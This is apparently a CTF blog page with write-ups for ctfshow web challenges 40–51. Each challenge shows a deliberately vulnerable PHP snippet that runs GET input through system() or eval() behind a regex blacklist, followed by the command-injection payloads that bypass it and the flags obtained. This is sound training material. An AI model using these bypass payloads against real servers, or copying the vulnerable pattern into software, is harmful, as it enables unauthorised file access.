ctfshow做题记录web50-web51

Mon, 19 Jan 2026 00:00:00 +0000

web50

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date: 2020-09-05 20:49:30 
# @Last Modified by: h1xa 
# @Last Modified time: 2020-09-05 22:32:47 
# @email: h1xa@ctfer.com 
# @link: https://ctfer.com 

*/ 


if(isset($_GET['c'])){ 
 $c=$_GET['c']; 
 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ 
 system($c." >/dev/null 2>&1"); 
 } 
}else{ 
 highlight_file(__FILE__); 
}

过滤了tab和$

构造tac<>f’la’g.php%0a

web51

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
 $c=$_GET['c'];
 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
 system($c." >/dev/null 2>&1");
 }
}else{
 highlight_file(__FILE__);
}

过滤了tac，换nl

构造payload：nl<f’la’g.php%0a

ctfshow做题记录web40-web49

Wed, 24 Dec 2025 00:00:00 +0000

web40

首先拿到的是以下php代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/[0-9]|\~|`|\@|\#|\\$|\%|\"|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\/i", $c)){
 eval($c);
 }
}else{
 highlight_file(__FILE__);
}

然后会发现没有过滤英文字母和英文的()
然后构造payload：highlight_file(next(array_reverse(scandir(current(localeconv()))))) 完成。

web42

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:3
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

过滤了cat，/,;

直接payload：tac f’la’g.php%0a

$flag=“ctfshow{b80050df-4901-493f-89c9-c4b6f7cd3791}

web43

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:32:01
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

多过滤了个flag

老样子tac f’la’g.php%0a

$flag=“ctfshow{d6d2cf16-69f3-4532-adba-b6e659a02b8c}

web44

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:35:34
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag| /i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

空格被过滤了。

用tab绕过

构建payload：tac%09f’la’g.php%0a

$flag=“ctfshow{ab74882f-b8f2-487c-b1da-d96ae59b1d1f}

web46

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 21:50:19
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag|[0-9]|\$|\*/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

如果变量 $c 中不包含以下任意字符或字符串（不区分大小写）：

分号 ;
字符串 cat
字符串 flag
空格
任意数字 [0-9]
美元符号 $
星号 *

则执行system()

构造payload：c=tac%09f’la’g.php%0a

$flag=“ctfshow{104f49e6-528f-457e-8fac-201d0d7068b7}”;

web47

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
 $c=$_GET['c'];
 if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
 system($c." >/dev/null 2>&1");
 }
}else{
 highlight_file(__FILE__);
}

过滤了less,more,head,sort,tail,0-9,$,* 构建payload：tac%09f’la’g.php%0a

web49

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


<?php

/*
# -*- coding: utf-8 -*-
# @Author: hlxa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: hlxa
# @Last Modified time: 2020-09-05 22:22:43
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

if(isset($_GET['c'])){
 $c = $_GET['c'];
 if(!preg_match("/\;|cat|flag|[0-9]|\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\|%/i", $c)){
 system($c." >/dev/null 2>&1");
 }
} else {
 highlight_file(__FILE__);
}

同上，构造payload：tac%09f’la’g.php%0a

CTFshow on aloneowo's blog